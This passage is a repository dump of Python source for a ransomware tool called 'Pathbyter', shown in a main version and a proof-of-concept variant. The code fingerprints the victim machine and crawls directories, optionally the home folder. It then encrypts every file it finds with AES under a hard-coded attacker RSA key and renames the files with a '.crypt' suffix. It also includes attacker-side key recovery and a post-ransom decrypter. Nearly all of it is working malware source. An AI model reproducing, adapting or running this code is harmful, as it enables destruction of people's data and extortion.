JnqeqznvGo2FTOQ8kOQeDYbGBhrfvFTZqVmcL6XsYoO3/SEjmIjgEqPU+7obmS2u 31 | JtQAIHyasB7GJO/yNc3jVTumOLNoVw+J3RUY+bHjDd57aw0aP89mw9v+PeRtVeqp 32 | a2viy/CbL2P3PqoR4nCABe42CPBARD6d37aMbQMyrY8A4avGUmLl03E4KG14VGka 33 | ZnWuDVX26mj8f5ZvKzkqRgysL5FSl+6UgT+lput/HCYmce1M18pVL82/tGvN1lyQ 34 | 4S51YR3SX+m8X3qYU+6Lgb7el2vKZKcl4MlvIjWQrjGNPfuCAOg+xIaNusYYK/09 35 | FDAekiSh5UYlrSX8O5cwvPcNyD8vzP139KLDt1deCJNOSDhkQTXtbxq84gsWg8tb 36 | fvyyWexPo5sJrohPqwA/Appvcbs1Eczo54KmrxphzKyWz3tonp6y1JWbmg1CORnP 37 | q1Duf44leIFHdiF+9xXYHA3qsiTrhG7sVOf+gw8eqiL00iNQZDt53rOkA2fMb/jS 38 | 6lS4Iiq1BBDly/pLPJz/Z26r3kCCzLGj/WlFE4C0mRwlJyan3vHTeJZhZmsHxKgM 39 | YZHPaQzARCJfJqBlUB+WimMCAwEAAQ==""" 40 | 41 | 42 | class System: 43 | def __init__(self): 44 | self.inet_connection = self.__check_inet_connection() 45 | self.pub_ip = self.__get_public_ip() 46 | self.os = sys_os() 47 | self.user = getlogin() 48 | self.home_dir = expanduser('~') 49 | self.cpu = processor() 50 | self.cores = cpu_count() 51 | self.machine_arch = architecture()[0] 52 | self.exec_type = architecture()[1] 53 | self.machine = machine() 54 | 55 | 56 | def __check_inet_connection(self): 57 | try: 58 | google_dns = '8.8.8.8' 59 | response = system(f'ping -c 1 {google_dns} >/dev/null') # 60 | if response == 0: 61 | return True 62 | else: 63 | return False 64 | except: 65 | return False 66 | 67 | 68 | def __get_public_ip(self): 69 | api_uri = 'https://api.ipify.org' 70 | if self.inet_connection == True: 71 | try: 72 | ip = get(api_uri, timeout=3) 73 | except RequestException: 74 | pass 75 | return ip.text 76 | else: 77 | self.pub_ip = '' 78 | 79 | 80 | def path_crawl(self, path=None, ignore_files=None): 81 | file_paths = [] 82 | if path == None: 83 | path = './' 84 | elif path.tolower() == 'user': 85 | path = expanduser('~') 86 | else: 87 | path = path 88 | if ignore_files: 89 | for root, dirs, files in walk(path): 90 | for f in files: 91 | if f in ignore_files: 92 | pass 93 | else: 94 | f_path = join(root, f) 95 | file_paths.append(f_path) 96 | else: 97 | for root, dirs, files in walk(path): 98 | for f in files: 99 | f_path = join(root, f) 100 | file_paths.append(f_path) 101 | 102 | return file_paths 103 | 104 | 105 | def gen_id_card(self): 106 | _id = uuid4() 107 | idcard = {'id': str(_id), 108 | 'pub_ip': self.pub_ip, 109 | 'os': self.os, 110 | 'usr': self.user, 111 | 'machine_arch': self.machine_arch, 112 | 'exec': self.exec_type, 113 | 'timestamp': str(time())} 114 | _idcard = str(idcard).encode() 115 | 116 | return _idcard 117 | 118 | 119 | class Runtime: 120 | def __init__(self): 121 | self.start_time = time() 122 | 123 | 124 | def elapsed_time(self): 125 | print(f'runtime: {time() - self.start_time}\n') 126 | 127 | 128 | def load_rsa_key(rsa_pubkey): 129 | key = b64decode(rsa_pubkey) 130 | rsa_key = RSA.import_key(key) 131 | 132 | return rsa_key 133 | 134 | 135 | def rsa_unwrap_aes(rsa_privkey, wrapped_aeskey): 136 | cipher_rsa = PKCS1_OAEP.new(rsa_privkey) 137 | aeskey = cipher_rsa.decrypt(wrapped_aeskey) 138 | 139 | return aeskey 140 | 141 | def aescbc_encrypt(rsa_pubkey, data): 142 | sess_aeskey = get_random_bytes(16) 143 | cipher_rsa = PKCS1_OAEP.new(rsa_pubkey) # Wrap the AES key in RSA encryption 144 | rsa_wrapped_aeskey = cipher_rsa.encrypt(sess_aeskey) 145 | rsa_wrapped_aeskey = b64encode(rsa_wrapped_aeskey).decode('utf-8') 146 | 147 | cipher = AES.new(sess_aeskey, AES.MODE_CBC) 148 | cipher_text = cipher.encrypt(pad(data, AES.block_size)) 149 | aes_enc_data = b64encode(cipher_text).decode('utf-8') 150 | iv = b64encode(cipher.iv).decode('utf-8') 151 | 152 | return rsa_wrapped_aeskey, aes_enc_data, iv 153 | 154 | 155 | def aescbc_decrypt(aeskey, iv, enc_data): 156 | cipher = AES.new(aeskey, AES.MODE_CBC, iv) 157 | data = unpad(cipher.decrypt(enc_data), AES.block_size) 158 | 159 | return data 160 | 161 | 162 | def add_file_suffix(target_files): 163 | for _file in target_files: 164 | if _file not in IGNORE_FILES: 165 | rename(_file, f'{_file}.crypt') 166 | 167 | return 168 | 169 | 170 | def init_attack(idcard, rsa_pubkey): 171 | rsa_wrapped_aeskey, aes_enc_idcard, aescbc_iv = aescbc_encrypt(rsa_pubkey, idcard) 172 | _idcard = {'id': {'RSA wrapped AES key': rsa_wrapped_aeskey, 173 | 'AES encrypted id card': aes_enc_idcard, 174 | 'AES CBC iv': aescbc_iv}} 175 | with open('donotdelete.json', 'w') as f: 176 | dump(_idcard, f) 177 | 178 | 179 | def gen_session_keys(rsa_pubkey): 180 | keys = RSA.generate(2048) 181 | sess_privkey = keys.export_key('DER') 182 | sess_rsa_pubkey = keys.publickey().export_key('DER') 183 | 184 | session_aeskey = get_random_bytes(16) 185 | cipher_rsa = PKCS1_OAEP.new(rsa_pubkey) # Wrap the AES key in RSA encryption 186 | rsa_wrapped_aeskey = b64encode(cipher_rsa.encrypt(session_aeskey)).decode('utf-8') 187 | 188 | cipher = AES.new(session_aeskey, AES.MODE_CBC) 189 | cipher_text = cipher.encrypt(pad(sess_privkey, AES.block_size)) 190 | aes_ct_session_private_key = b64encode(cipher_text).decode('utf-8') 191 | aes_cbc_iv = b64encode(cipher.iv).decode('utf-8') 192 | stub = {'stub': {'RSA wrapped AES key': rsa_wrapped_aeskey, 193 | 'AES encrypted session RSA private key': aes_ct_session_private_key, 194 | 'AES CBC iv': aes_cbc_iv}} 195 | with open('donotdelete.json', 'r+') as f: 196 | json_stub = load(f) 197 | json_stub.update(stub) 198 | with open('donotdelete.json', 'r+') as f: 199 | dump(json_stub, f) 200 | 201 | return sess_rsa_pubkey 202 | 203 | 204 | def exec_attack(file_path): 205 | new_aeskey = get_random_bytes(16) 206 | cipher_rsa = PKCS1_OAEP.new(sess_pubkey) 207 | wrapped_aeskey = cipher_rsa.encrypt(new_aeskey) 208 | 209 | cipher_aes = AES.new(new_aeskey, AES.MODE_CTR) 210 | w_aeskey = b64encode(wrapped_aeskey).decode('utf-8') 211 | nonce = b64encode(cipher_aes.nonce).decode('utf-8') 212 | with open(file_path, 'rb') as f: 213 | data = f.read() 214 | aes_ct = cipher_aes.encrypt(data) 215 | decryption_stub = {'k': w_aeskey, 216 | 'n': nonce} 217 | stub = str(decryption_stub).encode() 218 | out = aes_ct + stub 219 | with open(file_path, 'wb') as f: 220 | f.write(out) 221 | 222 | return 0 223 | 224 | 225 | def decrypt_idcard(): 226 | atkr_privkey = RSA.import_key(open('private.pem').read()) 227 | with open('donotdelete.json', 'r') as f: 228 | kvdb = loads(f.read()) 229 | rsa_enc_aeskey = b64decode(kvdb['id']['RSA wrapped AES key']) 230 | aes_enc_idcard = b64decode(kvdb['id']['AES encrypted id card']) 231 | iv = b64decode(kvdb['id']['AES CBC iv']) 232 | aeskey = rsa_unwrap_aes(atkr_privkey, rsa_enc_aeskey) 233 | idcard = aescbc_decrypt(aeskey, iv, aes_enc_idcard) 234 | idcard = idcard.decode() 235 | return idcard 236 | 237 | 238 | def decrypt_session_privkey(): 239 | atkr_privkey = RSA.import_key(open('private.pem').read()) 240 | with open('donotdelete.json', 'r') as f: 241 | data = loads(f.read()) 242 | wrapped_aes_key = b64decode(data['stub']['RSA wrapped AES key']) 243 | aes_enc_sess_privkey = b64decode(data['stub']['AES encrypted session RSA private key']) 244 | iv = b64decode(data['stub']['AES CBC iv']) 245 | aeskey = rsa_unwrap_aes(atkr_privkey, wrapped_aes_key) 246 | session_rsa_private_key = aescbc_decrypt(aeskey, iv, aes_enc_sess_privkey) 247 | sess_privkey = RSA.import_key(session_rsa_private_key) 248 | with open('ransompaid.pem', 'wb') as f: 249 | f.write(sess_privkey.exportKey('PEM')) 250 | 251 | return session_rsa_private_key 252 | 253 | 254 | def ctrl_z_ransomware(): 255 | with open('ransompaid.pem', 'r') as f: 256 | sess_privkey = RSA.import_key(f.read()) 257 | 258 | for file_path in target_files: 259 | with open(file_path, 'rb') as _f: 260 | f = _f.read() 261 | stub = eval(f[-374:]) 262 | enc_data = f[:-374] 263 | wrapped_aeskey = b64decode(stub['k']) 264 | nonce = b64decode(stub['n']) 265 | cipher_rsa = PKCS1_OAEP.new(sess_privkey) 266 | aeskey = cipher_rsa.decrypt(wrapped_aeskey) 267 | nonce = b64decode(stub['n']) 268 | 269 | cipher = AES.new(aeskey, AES.MODE_CTR, nonce=nonce) 270 | data = cipher.decrypt(enc_data) 271 | with open(file_path, 'wb') as f: 272 | f.write(data) 273 | _file_path = file_path.removesuffix('.crypt') 274 | rename(file_path, _file_path) 275 | print(f'[*] file: {_file_path} ~ decrypted') 276 | 277 | if __name__ == '__main__': 278 | victim_system = System() 279 | atkr_pubkey = load_rsa_key(ATKR_PUBLIC_KEY) 280 | 281 | if argv[1] == '-e' and len(argv) == 2: 282 | victim_id = victim_system.gen_id_card() 283 | target_files = victim_system.path_crawl(path=None, ignore_files=IGNORE_FILES) 284 | init_attack(victim_id, atkr_pubkey) 285 | sess_rsa_pubkey = gen_session_keys(atkr_pubkey) 286 | sess_pubkey = RSA.import_key(sess_rsa_pubkey) 287 | runtime = Runtime() 288 | with Pool(victim_system.cores) as pool: 289 | result = pool.map_async(exec_attack, target_files) 290 | pool.close() 291 | pool.join() 292 | print('[*] All target files are encrypted.') 293 | runtime.elapsed_time() 294 | add_file_suffix(target_files) 295 | 296 | elif argv[1] == '-e' and len(argv) == 3: 297 | victim_id = victim_system.gen_id_card() 298 | _path = argv[2] 299 | target_files = victim_system.path_crawl(path=_path, ignore_files=IGNORE_FILES) 300 | init_attack(victim_id, atkr_pubkey) 301 | sess_rsa_pubkey = gen_session_keys(atkr_pubkey) 302 | sess_pubkey = RSA.import_key(sess_rsa_pubkey) 303 | runtime = Runtime() 304 | with Pool(victim_system.cores) as pool: 305 | result = pool.map_async(exec_attack, target_files) 306 | pool.close() 307 | pool.join() 308 | print("[*] All target files encrypted.\n[*] Encrypted files suffixed with './crypt'") 309 | runtime.elapsed_time() 310 | add_file_suffix(target_files) 311 | 312 | elif argv[1] == '-d' and len(argv) == 2: 313 | idcard = decrypt_idcard() 314 | idcard = eval(idcard) 315 | sess_privkey = decrypt_session_privkey() 316 | target_files = victim_system.path_crawl(path=None, ignore_files=IGNORE_FILES) 317 | ctrl_z_ransomware() 318 | 319 | elif argv[1] == '-d' and len(argv) == 3: 320 | idcard = decrypt_idcard() 321 | idcard = eval(idcard) 322 | _path = argv[2] 323 | target_files = victim_system.path_crawl(path=_path, ignore_files=IGNORE_FILES) 324 | ctrl_z_ransomware() 325 | 326 | else: 327 | print("Do not use this tool without reading the docs.") 328 | print(pathbyter) 329 | # remove(argv[0]) # Pathybyter: the snake that eats its own tail 330 | -------------------------------------------------------------------------------- /pathbyter.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Cipher import AES, PKCS1_OAEP 3 | from Crypto.Random import get_random_bytes 4 | from Crypto.Util.Padding import pad, unpad 5 | from base64 import b64encode, b64decode 6 | from requests import get 7 | from requests.exceptions import RequestException 8 | from multiprocessing import Pool 9 | from platform import processor, architecture, machine 10 | from platform import system as sys_os 11 | from os import getuid, getlogin, cpu_count, system, walk 12 | from os.path import join, expanduser 13 | from uuid import uuid4 14 | from time import time 15 | import json 16 | 17 | 18 | ### Global Variables ### 19 | 20 | 21 | IGNORE_FILES = ['pathbyter.py', 22 | 'ransompaid.pem', 23 | 'private.pem', 24 | 'donotdelete.json', 25 | 'helloworldgenerator.py', 26 | 'oryourdataislost.json', 27 | 'pathbyter copy.py'] 28 | 29 | ATKR_PUBLIC_KEY = """MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxOiq056Sy3TAIfxNB8t+ 30 | 6oE0hYXFWHh3SMeEOKPZs6uoacGEKZqHPyFlym86BLbUGekL5zVQ0idV4rEAl0cy 31 | JnqeqznvGo2FTOQ8kOQeDYbGBhrfvFTZqVmcL6XsYoO3/SEjmIjgEqPU+7obmS2u 32 | JtQAIHyasB7GJO/yNc3jVTumOLNoVw+J3RUY+bHjDd57aw0aP89mw9v+PeRtVeqp 33 | a2viy/CbL2P3PqoR4nCABe42CPBARD6d37aMbQMyrY8A4avGUmLl03E4KG14VGka 34 | ZnWuDVX26mj8f5ZvKzkqRgysL5FSl+6UgT+lput/HCYmce1M18pVL82/tGvN1lyQ 35 | 4S51YR3SX+m8X3qYU+6Lgb7el2vKZKcl4MlvIjWQrjGNPfuCAOg+xIaNusYYK/09 36 | FDAekiSh5UYlrSX8O5cwvPcNyD8vzP139KLDt1deCJNOSDhkQTXtbxq84gsWg8tb 37 | fvyyWexPo5sJrohPqwA/Appvcbs1Eczo54KmrxphzKyWz3tonp6y1JWbmg1CORnP 38 | q1Duf44leIFHdiF+9xXYHA3qsiTrhG7sVOf+gw8eqiL00iNQZDt53rOkA2fMb/jS 39 | 6lS4Iiq1BBDly/pLPJz/Z26r3kCCzLGj/WlFE4C0mRwlJyan3vHTeJZhZmsHxKgM 40 | YZHPaQzARCJfJqBlUB+WimMCAwEAAQ==""" 41 | 42 | 43 | """Classes""" 44 | 45 | 46 | # A portable class I made for fetching useful information about a box. 47 | class System: 48 | def __init__(self): 49 | self.inet_connection = self.__check_inet_connection() 50 | self.pub_ip = self.__get_public_ip() 51 | self.os = sys_os() 52 | self.user = getlogin() 53 | self.home_dir = expanduser('~') 54 | self.cpu = processor() 55 | self.cores = cpu_count() 56 | self.machine_arch = architecture()[0] 57 | self.exec_type = architecture()[1] 58 | self.machine = machine() 59 | 60 | 61 | # Ping Google's DNS server to check for an internet connection 62 | def __check_inet_connection(self): 63 | try: 64 | google_dns = '8.8.8.8' 65 | response = system(f'ping -c 1 {google_dns} >/dev/null') # 66 | if response == 0: 67 | return True 68 | else: 69 | return False 70 | except: 71 | return False 72 | 73 | 74 | # If internet == True, fetch the box's public IP with Ipyify's API 75 | def __get_public_ip(self): 76 | api_uri = 'https://api.ipify.org' 77 | if self.inet_connection == True: 78 | try: 79 | ip = get(api_uri, timeout=3) 80 | except RequestException: 81 | pass 82 | return ip.text 83 | else: 84 | self.pub_ip = '' 85 | 86 | 87 | # For debugging: Print the system class objects attributes to the terminal 88 | def print_attributes(self): 89 | for attribute, value in self.__dict__.items(): 90 | if value == None: 91 | pass 92 | else: 93 | print(f'{attribute}: {value}') 94 | 95 | 96 | # This function recursively crawls a path and returns a list of files. 97 | def path_crawl(self, path=None, ignore_files=None): 98 | file_paths = [] 99 | if path == None: # Set the root path to recursively crawl 100 | path = './' 101 | elif path.tolower() == 'user': # If 'user', recursively crawls os.path.expanduser('~') 102 | path = expanduser('~') 103 | else: 104 | path = path 105 | 106 | if ignore_files: 107 | for root, dirs, files in walk(path): 108 | for f in files: 109 | if f in ignore_files: 110 | pass 111 | else: 112 | f_path = join(root, f) 113 | file_paths.append(f_path) 114 | else: 115 | for root, dirs, files in walk(path): 116 | for f in files: 117 | f_path = join(root, f) 118 | file_paths.append(f_path) 119 | 120 | return file_paths 121 | 122 | 123 | # Returns a dictionary of information about a box in bytes format. 124 | def gen_id_card(self): 125 | _id = uuid4() # Create a unique id. 126 | idcard = {'id': str(_id), 127 | 'pub_ip': self.pub_ip, 128 | 'os': self.os, 129 | 'usr': self.user, 130 | 'machine_arch': self.machine_arch, 131 | 'exec': self.exec_type, 132 | 'timestamp': str(time())} 133 | _idcard = str(idcard).encode() 134 | 135 | return _idcard 136 | 137 | 138 | # A simple class to return a program's runtime. 139 | class Runtime: 140 | def __init__(self): 141 | self.start_time = time() 142 | 143 | 144 | def elapsed_time(self): 145 | print(f'runtime: {time() - self.start_time}\n') 146 | 147 | 148 | """Cryptographic Functions""" 149 | 150 | 151 | # Load an RSA public key, ready for encryption 152 | def load_rsa_key(rsa_pubkey): 153 | key = b64decode(rsa_pubkey) 154 | rsa_key = RSA.import_key(key) 155 | 156 | return rsa_key 157 | 158 | 159 | # Encrypt a file with an AES CBC cipher 160 | def aescbc_encrypt(rsa_pubkey, data): 161 | sess_aeskey = get_random_bytes(16) 162 | rsa_wrapped_aeskey = rsa_wrap_aes(rsa_pubkey, sess_aeskey) 163 | 164 | cipher = AES.new(sess_aeskey, AES.MODE_CBC) 165 | cipher_text = cipher.encrypt(pad(data, AES.block_size)) 166 | aes_enc_data = b64encode(cipher_text).decode('utf-8') 167 | iv = b64encode(cipher.iv).decode('utf-8') 168 | 169 | return rsa_wrapped_aeskey, aes_enc_data, iv 170 | 171 | 172 | # Decrypt a file with an AES CBC cipher 173 | def aescbc_decrypt(aeskey, iv, enc_data): 174 | cipher = AES.new(aeskey, AES.MODE_CBC, iv) 175 | data = unpad(cipher.decrypt(enc_data), AES.block_size) 176 | 177 | return data 178 | 179 | 180 | # Wrap an AES key in RSA encryption 181 | def rsa_wrap_aes(rsa_pubkey, aeskey): 182 | cipher_rsa = PKCS1_OAEP.new(rsa_pubkey) 183 | cipher_text = cipher_rsa.encrypt(aeskey) 184 | enc_aeskey = b64encode(cipher_text).decode('utf-8') 185 | 186 | return enc_aeskey 187 | 188 | 189 | # Unwrap the RSA wrapped AES key 190 | def rsa_unwrap_aes(rsa_privkey, wrapped_aeskey): 191 | cipher_rsa = PKCS1_OAEP.new(rsa_privkey) 192 | aeskey = cipher_rsa.decrypt(wrapped_aeskey) 193 | 194 | return aeskey 195 | 196 | 197 | # Use an AES CTR cipher to encrypt a file 198 | def aesctr_encrypt(rsa_pubkey, data): 199 | new_aeskey = get_random_bytes(16) 200 | rsa_enc_aes_key = rsa_wrap_aes(rsa_pubkey, new_aeskey) 201 | 202 | cipher = AES.new(new_aeskey, AES.MODE_CTR) 203 | aes_ct = cipher.encrypt(data) 204 | nonce = b64encode(cipher.nonce).decode('utf-8') 205 | 206 | return rsa_enc_aes_key, aes_ct, nonce 207 | 208 | 209 | # Use an AES CTR cipher to decrypt a file 210 | def aesctr_decrypt(aeskey, nonce, enc_data): 211 | try: 212 | cipher = AES.new(aeskey, AES.MODE_CTR, nonce=nonce) 213 | pt = cipher.decrypt(enc_data) 214 | 215 | return pt 216 | 217 | except (ValueError, KeyError): 218 | print('ValueError or KeyError') 219 | 220 | 221 | """Pathbyter Core Functions""" 222 | 223 | 224 | # Generate a unique target ID, and create ransomware's key-value database 225 | def init_attack(idcard, rsa_pubkey): 226 | rsa_wrapped_aeskey, aes_enc_idcard, aescbc_iv = aescbc_encrypt(rsa_pubkey, idcard) 227 | _idcard = {'id': {'RSA wrapped AES key': rsa_wrapped_aeskey, 228 | 'AES encrypted id card': aes_enc_idcard, 229 | 'AES CBC iv': aescbc_iv}} 230 | with open('donotdelete.json', 'w') as f: 231 | json.dump(_idcard, f) 232 | with open('oryourdataislost.json', 'w') as f: 233 | f.write('') 234 | 235 | 236 | # Initialize the local RSA session keys for the ransomware attack 237 | def gen_session_keys(rsa_pubkey): 238 | keys = RSA.generate(2048) 239 | sess_privkey = keys.export_key('DER') # Export the private key in binary format for in-memory AES encryption 240 | sess_rsa_pubkey = keys.publickey().export_key('DER') 241 | print(f'[*] Debug\n>> Session RSA private key before encryption:\n{b64encode(sess_privkey)}\n') # debug: Print session RSA key to match post encryption/decryption 242 | rsa_wrapped_aeskey, aes_enc_rsa_sess_privkey, aescbc_iv = aescbc_encrypt(rsa_pubkey, sess_privkey) 243 | stub = {'stub': {'RSA wrapped AES key': rsa_wrapped_aeskey, 244 | 'AES encrypted session RSA private key': aes_enc_rsa_sess_privkey, 245 | 'AES CBC iv': aescbc_iv}} 246 | with open('donotdelete.json', 'r+') as f: 247 | json_kvdb = json.load(f) 248 | json_kvdb.update(stub) 249 | with open('donotdelete.json', 'r+') as f: 250 | json.dump(json_kvdb, f) 251 | print(f"[*] Debug:\nKVDB:\n{json.dumps(json_kvdb, indent=4)}") # debug: Check current values in JSON database 252 | 253 | return sess_rsa_pubkey 254 | 255 | 256 | # This function eworks in conjunction with the multiprocessing.Pool.map(target=function, iterable). 257 | def exec_attack(file_path): 258 | with open(file_path, 'rb') as f: 259 | data = f.read() 260 | rsa_enc_aeskey, aes_ct, nonce = aesctr_encrypt(sess_pubkey, data) # Use an AES CTR cipher to encrypt the file 261 | new_kv_entry = {'file path': file_path, 262 | 'RSA wrapped AES key': rsa_enc_aeskey, 263 | 'AES CTR nonce': nonce} 264 | with open('oryourdataislost.json', 'a') as f: 265 | json.dump(new_kv_entry, f) # Dump the filepath and the RSA encrypted AES key to decrypt the file to the kvdb 266 | f.write('\n') 267 | with open(file_path, 'wb') as f: # Write the encrypted bytes over the preexisting file. 268 | f.write(aes_ct) 269 | print(f'[*] File: {file_path} ~ encrypted in process: {getuid()}') # debug: Shows that multiprocessing is working 270 | 271 | return 0 272 | 273 | 274 | """Ransomware C&C Server Side Functions""" 275 | 276 | 277 | # Decrypt the victims ID and save it to the decryption database. 278 | def decrypt_idcard(): 279 | atkr_privkey = RSA.import_key(open('private.pem').read()) 280 | with open('donotdelete.json', 'r') as f: 281 | kvdb = json.loads(f.read()) 282 | rsa_enc_aeskey = b64decode(kvdb['id']['RSA wrapped AES key']) 283 | aes_enc_idcard = b64decode(kvdb['id']['AES encrypted id card']) 284 | iv = b64decode(kvdb['id']['AES CBC iv']) 285 | aeskey = rsa_unwrap_aes(atkr_privkey, rsa_enc_aeskey) 286 | idcard = aescbc_decrypt(aeskey, iv, aes_enc_idcard) 287 | idcard = idcard.decode() 288 | return idcard 289 | 290 | 291 | # Decrypt the session RSA private key and save it to the decryption database. 292 | def decrypt_session_privkey(): 293 | atkr_privkey = RSA.import_key(open('private.pem').read()) 294 | with open('donotdelete.json', 'r') as f: 295 | data = json.loads(f.read()) 296 | wrapped_aes_key = b64decode(data['stub']['RSA wrapped AES key']) 297 | aes_enc_sess_privkey = b64decode(data['stub']['AES encrypted session RSA private key']) 298 | iv = b64decode(data['stub']['AES CBC iv']) 299 | aeskey = rsa_unwrap_aes(atkr_privkey, wrapped_aes_key) 300 | session_rsa_private_key = aescbc_decrypt(aeskey, iv, aes_enc_sess_privkey) 301 | sess_privkey = RSA.import_key(session_rsa_private_key) 302 | print(f'[*] Debug\n\>> session RSA private key after decryption:\n{b64encode(session_rsa_private_key)}') # debug: Ensure session private keys match 303 | with open('ransompaid.pem', 'wb') as f: 304 | f.write(sess_privkey.exportKey('PEM')) 305 | return session_rsa_private_key 306 | 307 | 308 | """Post Ransom Decrypter""" 309 | 310 | 311 | # This would be a standalone program available for download after the ransom was paid 312 | def ctrl_z_ransomware(rsa_privkey): 313 | sess_privkey = RSA.import_key(rsa_privkey) 314 | kvdb = [] 315 | with open('oryourdataislost.json', 'r') as f: 316 | for kv_entry in f.readlines(): 317 | kv_entry = eval(kv_entry) 318 | kvdb.append(kv_entry) 319 | print(json.dumps(kvdb, indent=4)) 320 | for _file in kvdb: 321 | enc_file_path = _file['file path'] 322 | wrapped_aeskey = b64decode(_file['RSA wrapped AES key']) 323 | nonce = b64decode(_file['AES CTR nonce']) 324 | aeskey = rsa_unwrap_aes(sess_privkey, wrapped_aeskey) 325 | with open(enc_file_path, 'rb') as f: 326 | enc_data = f.read() 327 | data = aesctr_decrypt(aeskey, nonce, enc_data) 328 | with open(enc_file_path, 'wb') as f: 329 | f.write(data) 330 | print(f'[*] file: {enc_file_path} ~ decrypted') 331 | 332 | 333 | # The Main Ransomware Attack: 334 | runtime = Runtime() 335 | victim_system = System() # Invoke a System class object 336 | atkr_pubkey = load_rsa_key(ATKR_PUBLIC_KEY) # Load the hard-coded attacker RSA public key 337 | victim_id = victim_system.gen_id_card() # Generate a string with a victim UUID and information on the target box. 338 | target_files = victim_system.path_crawl(path=None, ignore_files=IGNORE_FILES) # Use System.path_crawl() to return a list of target files 339 | print(victim_id) # debug 340 | init_attack(victim_id, atkr_pubkey) # Encrypt the id card, create the JSON decryption stub, and JSONL kvdb 341 | sess_rsa_pubkey = gen_session_keys(atkr_pubkey) # Generate an RSA session key pair, and encrypt the private key in-memory 342 | sess_pubkey = RSA.import_key(sess_rsa_pubkey) # Import the RSA public key 343 | with Pool(victim_system.cores) as pool: # Create a process pool relative to the number of logical processors on the target box 344 | result = pool.map_async(exec_attack, target_files) # Use the pool.map function to split up the target files among the different processes 345 | pool.close() 346 | pool.join() 347 | print('[*] All target files are encrypted.') 348 | runtime.elapsed_time() # Print the encryption runtime to the console. 349 | 350 | # Server side functions: 351 | idcard = decrypt_idcard() # Decrypt the ID card 352 | idcard = eval(idcard) 353 | print(f'[*] Debug:\nKVDB:\n{json.dumps(idcard, indent=4)}') 354 | sess_privkey = decrypt_session_privkey() # Decrypt and save the RSA session private key in PEM format 355 | 356 | # Decrypter the victim would download after paying the ransom 357 | ctrl_z_ransomware() # Iterate through the lines in the JSONL database, decrypting files one at a time 358 | -------------------------------------------------------------------------------- /POC/pathbyterPOC.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | from Crypto.Cipher import AES, PKCS1_OAEP 3 | from Crypto.Random import get_random_bytes 4 | from Crypto.Util.Padding import pad, unpad 5 | from base64 import b64encode, b64decode 6 | from requests import get 7 | from requests.exceptions import RequestException 8 | from multiprocessing import Pool 9 | from platform import processor, architecture, machine 10 | from platform import system as sys_os 11 | from os import getlogin, cpu_count, system, walk, rename 12 | from os.path import join, expanduser 13 | from uuid import uuid4 14 | from time import time 15 | import json 16 | import proofofconcept as poc # Proof-of-concept functions 17 | 18 | 19 | ### Global Variables ### 20 | 21 | 22 | IGNORE_FILES = ['pathbyterPOC.py', 23 | 'ransompaid.pem', 24 | 'private.pem', 25 | 'donotdelete.json'] 26 | 27 | ATKR_PUBLIC_KEY = """MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxOiq056Sy3TAIfxNB8t+ 28 | 6oE0hYXFWHh3SMeEOKPZs6uoacGEKZqHPyFlym86BLbUGekL5zVQ0idV4rEAl0cy 29 | JnqeqznvGo2FTOQ8kOQeDYbGBhrfvFTZqVmcL6XsYoO3/SEjmIjgEqPU+7obmS2u 30 | JtQAIHyasB7GJO/yNc3jVTumOLNoVw+J3RUY+bHjDd57aw0aP89mw9v+PeRtVeqp 31 | a2viy/CbL2P3PqoR4nCABe42CPBARD6d37aMbQMyrY8A4avGUmLl03E4KG14VGka 32 | ZnWuDVX26mj8f5ZvKzkqRgysL5FSl+6UgT+lput/HCYmce1M18pVL82/tGvN1lyQ 33 | 4S51YR3SX+m8X3qYU+6Lgb7el2vKZKcl4MlvIjWQrjGNPfuCAOg+xIaNusYYK/09 34 | FDAekiSh5UYlrSX8O5cwvPcNyD8vzP139KLDt1deCJNOSDhkQTXtbxq84gsWg8tb 35 | fvyyWexPo5sJrohPqwA/Appvcbs1Eczo54KmrxphzKyWz3tonp6y1JWbmg1CORnP 36 | q1Duf44leIFHdiF+9xXYHA3qsiTrhG7sVOf+gw8eqiL00iNQZDt53rOkA2fMb/jS 37 | 6lS4Iiq1BBDly/pLPJz/Z26r3kCCzLGj/WlFE4C0mRwlJyan3vHTeJZhZmsHxKgM 38 | YZHPaQzARCJfJqBlUB+WimMCAwEAAQ==""" 39 | 40 | 41 | """Classes""" 42 | 43 | 44 | # A portable class I made for fetching useful information about a box. 45 | class System: 46 | def __init__(self): 47 | self.inet_connection = self.__check_inet_connection() 48 | self.pub_ip = self.__get_public_ip() 49 | self.os = sys_os() 50 | self.user = getlogin() 51 | self.home_dir = expanduser('~') 52 | self.cpu = processor() 53 | self.cores = cpu_count() 54 | self.machine_arch = architecture()[0] 55 | self.exec_type = architecture()[1] 56 | self.machine = machine() 57 | 58 | 59 | # Ping Google's DNS server to check for an internet connection 60 | def __check_inet_connection(self): 61 | try: 62 | google_dns = '8.8.8.8' 63 | response = system(f'ping -c 1 {google_dns} >/dev/null') # 64 | if response == 0: 65 | return True 66 | else: 67 | return False 68 | except: 69 | return False 70 | 71 | 72 | # If internet == True, fetch the box's public IP with Ipyify's API 73 | def __get_public_ip(self): 74 | api_uri = 'https://api.ipify.org' 75 | if self.inet_connection == True: 76 | try: 77 | ip = get(api_uri, timeout=3) 78 | except RequestException: 79 | pass 80 | return ip.text 81 | else: 82 | self.pub_ip = '' 83 | 84 | 85 | # For debugging: Print the system class objects attributes to the terminal 86 | def print_attributes(self): 87 | for attribute, value in self.__dict__.items(): 88 | if value == None: 89 | pass 90 | else: 91 | print(f'{attribute}: {value}') 92 | 93 | 94 | # This function recursively crawls a path and returns a list of files. 95 | def path_crawl(self, path=None, ignore_files=None): 96 | file_paths = [] 97 | if path == None: # Set the root path to recursively crawl 98 | path = './' 99 | elif path.tolower() == 'user': # If 'user', recursively crawls os.path.expanduser('~') 100 | path = expanduser('~') 101 | else: 102 | path = path 103 | 104 | if ignore_files: 105 | for root, dirs, files in walk(path): 106 | for f in files: 107 | if f in ignore_files: 108 | pass 109 | else: 110 | f_path = join(root, f) 111 | file_paths.append(f_path) 112 | else: 113 | for root, dirs, files in walk(path): 114 | for f in files: 115 | f_path = join(root, f) 116 | file_paths.append(f_path) 117 | 118 | return file_paths 119 | 120 | 121 | # Returns a dictionary of information about a box in bytes format. 122 | def gen_id_card(self): 123 | _id = uuid4() # Create a unique id. 124 | idcard = {'id': str(_id), 125 | 'pub_ip': self.pub_ip, 126 | 'os': self.os, 127 | 'usr': self.user, 128 | 